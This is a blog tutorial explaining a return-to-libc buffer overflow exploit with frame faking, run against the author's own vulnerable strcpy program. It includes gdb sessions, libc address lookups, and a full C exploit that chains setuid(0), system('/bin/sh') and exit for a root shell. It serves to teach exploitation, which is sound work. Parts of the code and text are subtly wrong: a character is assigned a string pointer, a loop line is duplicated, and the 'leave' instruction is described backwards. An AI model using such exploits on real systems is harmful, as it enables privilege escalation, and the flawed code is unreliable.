Frame Faking & Ret2Libc


Posted on August, 2017

In this article we are going to exploit a buffer overflow vulnerability. But this time the stack is not executable. So the technique of injecting a shellcode directly into the stack, redirecting the execution flow into the shellcode, will not work. So how can we exploit this kind of vulnerablity ? The first thing we need to do is to find a region of the memory which is executable. (In this article we suppose that ASLR is disabled)

$ sudo echo '0' > /proc/sys/kernel/randomize_va_space

Let’s explore the memory:

First we run a little program which gives its PID and never ends in order to check the maps file:

#include<stdio.h>
#include<sys/types.h>
#include<unistd.h>

int main(){

        int i;

        printf("PID : %d",getpid());
        scanf("%d",&i);

return 0;

}

We just launch the program in one shell

/Documents/exploits/exploit3_ReturnLibc$ ./a.out
PID : 4711

In a second shell we can easily see that the stack and the heap are not executable (rw-p) instead of the libc region (r-xp /lib/x86_64-linux-gnu/libc-2.23.so)

~$ cat /proc/4711/maps
00400000-00401000 r-xp 00000000 08:05 3565962                            /home/reglisse/Documents/exploits/exploit3_ReturnLibc/a.out
00600000-00601000 r--p 00000000 08:05 3565962                            /home/reglisse/Documents/exploits/exploit3_ReturnLibc/a.out
00601000-00602000 rw-p 00001000 08:05 3565962                            /home/reglisse/Documents/exploits/exploit3_ReturnLibc/a.out
00602000-00623000 rw-p 00000000 00:00 0                                  [heap]
7ffff7a0e000-7ffff7bcd000 r-xp 00000000 08:05 3030105                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001bf000 08:05 3030105                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001bf000 08:05 3030105                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c3000 08:05 3030105                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:05 3026786                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd3000-7ffff7fd6000 rw-p 00000000 00:00 0
7ffff7ff6000-7ffff7ff8000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:05 3026786                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:05 3026786                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Here is the vulnerable program that we are going to exploit:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *arg)
{
    char buffer[8];
    strcpy(buffer,arg);
    printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
    if(argc != 2) printf("Enter binary chain\n");
    else vuln(argv[1]);
    return 0;
}

As a first step we are going to find how many characters we must inject to reach the return address of the vuln function which contains an overflow. Open the executable with gdb :

$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>: push   %ebp
   0x0804843c <+1>: mov    %esp,%ebp
   0x0804843e <+3>: sub    $0x18,%esp
   0x08048441 <+6>: sub    $0x8,%esp
   0x08048444 <+9>: pushl  0x8(%ebp)
   0x08048447 <+12>:    lea    -0x10(%ebp),%eax
   0x0804844a <+15>:    push   %eax
   0x0804844b <+16>:    call   0x8048300 <strcpy@plt>
   0x08048450 <+21>:    add    $0x10,%esp
   0x08048453 <+24>:    sub    $0xc,%esp
   0x08048456 <+27>:    lea    -0x10(%ebp),%eax
   0x08048459 <+30>:    push   %eax
   0x0804845a <+31>:    call   0x8048310 <puts@plt>
   0x0804845f <+36>:    add    $0x10,%esp
   0x08048462 <+39>:    nop
   0x08048463 <+40>:    leave
   0x08048464 <+41>:    ret
End of assembler dump.

After that we put a breakpoint after the strcpy function in order to see the state of the stack after the character injection

(gdb) b *0x08048450
Breakpoint 1 at 0x8048450

Just before running the program into gdb just disassemble the main function in order to catch the return address of the vuln function

(gdb) disas main
Dump of assembler code for function main:
   0x08048465 <+0>: lea    0x4(%esp),%ecx
   0x08048469 <+4>: and    $0xfffffff0,%esp
   0x0804846c <+7>: pushl  -0x4(%ecx)
   0x0804846f <+10>:    push   %ebp
   0x08048470 <+11>:    mov    %esp,%ebp
   0x08048472 <+13>:    push   %ecx
   0x08048473 <+14>:    sub    $0x4,%esp
   0x08048476 <+17>:    mov    %ecx,%eax
   0x08048478 <+19>:    cmpl   $0x2,(%eax)
   0x0804847b <+22>:    je     0x804848f <main+42>
   0x0804847d <+24>:    sub    $0xc,%esp
   0x08048480 <+27>:    push   $0x8048530
   0x08048485 <+32>:    call   0x8048310 <puts@plt>
   0x0804848a <+37>:    add    $0x10,%esp
   0x0804848d <+40>:    jmp    0x80484a3 <main+62>
   0x0804848f <+42>:    mov    0x4(%eax),%eax
   0x08048492 <+45>:    add    $0x4,%eax
   0x08048495 <+48>:    mov    (%eax),%eax
   0x08048497 <+50>:    sub    $0xc,%esp
   0x0804849a <+53>:    push   %eax
   0x0804849b <+54>:    call   0x804843b <vuln>
   0x080484a0 <+59>:    add    $0x10,%esp
   0x080484a3 <+62>:    mov    $0x0,%eax
   0x080484a8 <+67>:    mov    -0x4(%ebp),%ecx
   0x080484ab <+70>:    leave
   0x080484ac <+71>:    lea    -0x4(%ecx),%esp
   0x080484af <+74>:    ret
End of assembler dump.

At main +54 you can see the address of the call to the vuln function, so at main +59 you can retrieve the return address that we will see into the stack after —> 0x080484a0

Let’s try it, we run the program with eight ‘A’ to complete the buffer space.

(gdb) r AAAAAAAA
Starting program: /home/reglisse/Documents/exploits/exploit3_ReturnLibc/vuln AAAAAAAA

Breakpoint 1, 0x08048450 in vuln ()
(gdb)

Perfect. The program stops its execution flow just after the strcpy function. Now let’s explore the state of the stack.
Using x/40x in order to show the 40 last DWORD from the stack pointer.

(gdb) x/40x $esp
0xffffcf70: 0xffffcf88  0xffffd272  0xf7e0ddc8  0xf7fb5000
0xffffcf80: 0x00008000  0xf7fb1000  0x41414141  0x41414141
0xffffcf90: 0x00000000  0x00000003  0xffffcfb8  0x080484a0
0xffffcfa0: 0xffffd272  0xffffd064  0xffffd070  0x080484d1
0xffffcfb0: 0xf7fb13dc  0xffffcfd0  0x00000000  0xf7e19637
0xffffcfc0: 0xf7fb1000  0xf7fb1000  0x00000000  0xf7e19637
0xffffcfd0: 0x00000002  0xffffd064  0xffffd070  0x00000000
0xffffcfe0: 0x00000000  0x00000000  0xf7fb1000  0xf7ffdc04
0xffffcff0: 0xf7ffd000  0x00000000  0xf7fb1000  0xf7fb1000
0xffffd000: 0x00000000  0xc96364fa  0xf5d72aea  0x00000000
(gdb)

First we can see that the ‘AAAAAAAA’ chain starts at 0xffffcf88, but we can also see that the return address of the vuln function is at address 0xffffcf9C (this address contains 0x080484a0).
At this time we know that if we want to return into an executable space of memory we must inject 20 ‘A’ to reach the return address. Then, replace it with an address of a function into the libc, like system() and finally get a shell.
But system() is a function and needs args in order to execute a shell. The first approach is here, first inject 20
‘A’ to reach the return address of the vuln function. Then inject the address of system into libc, after that inject the address of exit() function into libc, finally inject the address of “/bin/sh”

stack

So at the end of the execution the vuln function will return into the system() function in libc and then take for argument “/bin/sh” and at the end will exit with the false return address exit().

This technique will work but when the shell will be opened the privileges will be dropped. So in order to have a high privilege shell we must also use the function setuid() with the argument 0.
Here are the first problem! When we will chain some functions the first function of the chain will take as argument the rest of the chain.. So how can we bypass this? The solution result in using fake frame pointer and “leave return” instruction.

  • “leave return” instruction is equivalent to
   mov ebp, esp
   pop ebp

So the leave instruction copy the frame pointer (register) into the stack pointer register, this releases the stack frame allocated to the stack frame. Then the old frame pointer is at the top of the stack so the pop will store it into the frame pointer register.

So as we can overwrite the return address of a function we can also overwrite the framepointer which is store before, after that we can chain the calls. It can be much easier to understand with this figure:

injection

  • The 16 ‘A’ will reach the saved frame pointer
  • After that we will write the address of the Fake fp_1
  • leave_ret injection consists of injecting the address of the instruction “leave return”
  • XXXX is some 4 bytes of junk to overwrite arguments of the vulnerable function
  • Once the vuln function has ended its execution the first leave ret will restore the Fake_fp1, and we will jump into the setuid function in libc
  • Once the setuid function has ended its execution the leave ret will restore the Fake fp_2 and the execution flow will jump into the system function in libc.
  • The last leave_ret permit to jump into the exit function.

Application

look at the stack one more time

(gdb) x/40x $esp
0xffffcf70: 0xffffcf88  0xffffd272  0xf7e0ddc8  0xf7fb5000
0xffffcf80: 0x00008000  0xf7fb1000  0x41414141  0x41414141
0xffffcf90: 0x00000000  0x00000003  0xffffcfb8  0x080484a0
0xffffcfa0: 0xffffd272  0xffffd064  0xffffd070  0x080484d1
0xffffcfb0: 0xf7fb13dc  0xffffcfd0  0x00000000  0xf7e19637
0xffffcfc0: 0xf7fb1000  0xf7fb1000  0x00000000  0xf7e19637
0xffffcfd0: 0x00000002  0xffffd064  0xffffd070  0x00000000
0xffffcfe0: 0x00000000  0x00000000  0xf7fb1000  0xf7ffdc04
0xffffcff0: 0xf7ffd000  0x00000000  0xf7fb1000  0xf7fb1000
0xffffd000: 0x00000000  0xc96364fa  0xf5d72aea  0x00000000
(gdb)

The saved frame pointer is at address 0xffffcf98 and contains 0xffffcfb8 we first overwrite it and place the address of the fake frame pointer 1 which will be 8 bytes further. See my figure above. It’s easy to determine its address 0xffffcfa4.
Next step is to determine the address of the setuid() function. With gdb you can run this command:

(gdb) p setuid
$6 = {<text variable, no debug info>} 0xf7eb0ed0 <setuid>
(gdb)

Perfect we got the system address. Now you just have to determine the other functions’ address (system and exit) by this method. The only question you will have is how to pass the arguments to function, in fact setuid(0) will require a null byte which is not compatible with the strcpy function. Here is my trick, some characters are present in the libc, so we just have to determine if they exist and get their addresses.

(gdb) find __libc_start_main,+99999999,"0"
0xf7e1e556
0xf7e1e979
0xf7e28472
0xf7e2b6f9 <__open_catalog+185>
0xf7e2e3bb
0xf7e303d1 <random_r+113>
0xf7e306af <rand_r+15>
0xf7e306c0 <rand_r+32>
0xf7e306da <rand_r+58>
0xf7e33924
0xf7e34a05
0xf7e34e30
0xf7e3523a
0xf7e35bf9

This trick is a little bit pushy but it works. We get a couple of addresses. Let’s explore the first one. This command asks gdb : “show me the string at address : XXXX”

(gdb) x/s 0xf7e1e556
0xf7e1e556: "0"

Perfect we got a “0”.

So you may have guessed that the operation will be the same for searching for “/bin/sh”
Let’s see if we are lucky:

(gdb) find __libc_start_main,+99999999,"/bin/sh"
0xf7f59e8b
warning: Unable to access 16000 bytes of target memory at 0xf7fb3c13, halting search.
1 pattern found.
(gdb)

We got one address, let’s try if this address contains the “/bin/sh” string.

(gdb) x/s 0xf7f59e8b
0xf7f59e8b: "/bin/sh"
(gdb)

Good, at this point the last question you will have is where can I find the leave/ret instruction. The answer is why not exploiting the program’s instructions ? There are some gadgets into the program so let’s use them :

Dump of assembler code for function vuln:
   0x0804843b <+0>: push   %ebp
   0x0804843c <+1>: mov    %esp,%ebp
   0x0804843e <+3>: sub    $0x18,%esp
   0x08048441 <+6>: sub    $0x8,%esp
   0x08048444 <+9>: pushl  0x8(%ebp)
   0x08048447 <+12>:    lea    -0x10(%ebp),%eax
   0x0804844a <+15>:    push   %eax
   0x0804844b <+16>:    call   0x8048300 <strcpy@plt>
=> 0x08048450 <+21>:    add    $0x10,%esp
   0x08048453 <+24>:    sub    $0xc,%esp
   0x08048456 <+27>:    lea    -0x10(%ebp),%eax
   0x08048459 <+30>:    push   %eax
   0x0804845a <+31>:    call   0x8048310 <puts@plt>
   0x0804845f <+36>:    add    $0x10,%esp
   0x08048462 <+39>:    nop
   0x08048463 <+40>:    leave
   0x08048464 <+41>:    ret
End of assembler dump.
(gdb)

at address 0x08048463 there is a leave instruction for example.

Finally here is the final ROP chain:

Finale_state

Here is the exploit code:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

int main(int argc, char **argv){

        char system_addr[] = "\x40\xb9\xe3\xf7";
        char exit_addr[] = "\xb0\xf7\xe2\xf7";
        char bin_bash[] = "\x8b\x9e\xf5\xf7";
        char setuid[] = "\xd0\x0e\xeb\xf7";
        char null_byte[] = "\x56\xe5\xe1\xf7";
        char leave[] = "\x63\x84\x04\x08";
        char exit_args[] = "\x7f\x69\xe4\xf7";

        char fake_ebp0[] = "\xa4\xcf\xff\xff";
        char fake_ebp1[] = "\xb4\xcf\xff\xff";
        char fake_ebp2[] = "\xc4\xcf\xff\xff";
        char fake_ebp3[] = "\xd4\xcf\xff\xff";
        char fake_ebp4[] = "\xe4\xcf\xff\xff";

        char exploit_buffer[200];
        char *ptr = (char *)&exploit_buffer;

        int i;
        for(i=0;i<16;i++,ptr++)
                *ptr = "A";
        for(i=0;i<4;i++,ptr++)
                *ptr = fake_ebp0[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = leave[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = "X";
        for(i=0;i<4;i++,ptr++)
                *ptr = fake_ebp1[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = setuid[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = leave[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = null_byte[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = fake_ebp2[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = system_addr[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = leave[i];for(i=0;i<4;i++,ptr++)
        for(i=0;i<4;i++,ptr++)
                *ptr = bin_bash[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = fake_ebp3[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = exit_addr[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = leave[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = exit_args[i];
        for(i=0;i<4;i++,ptr++)
                *ptr = fake_ebp4[i];

        printf("buffer : %s", exploit_buffer);
        execl("/home/reglisse/Documents/exploits/exploit3_ReturnLibc/vuln","vuln",exploit_buffer, NULL);

return 0;
}

Demonstration

demo


Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com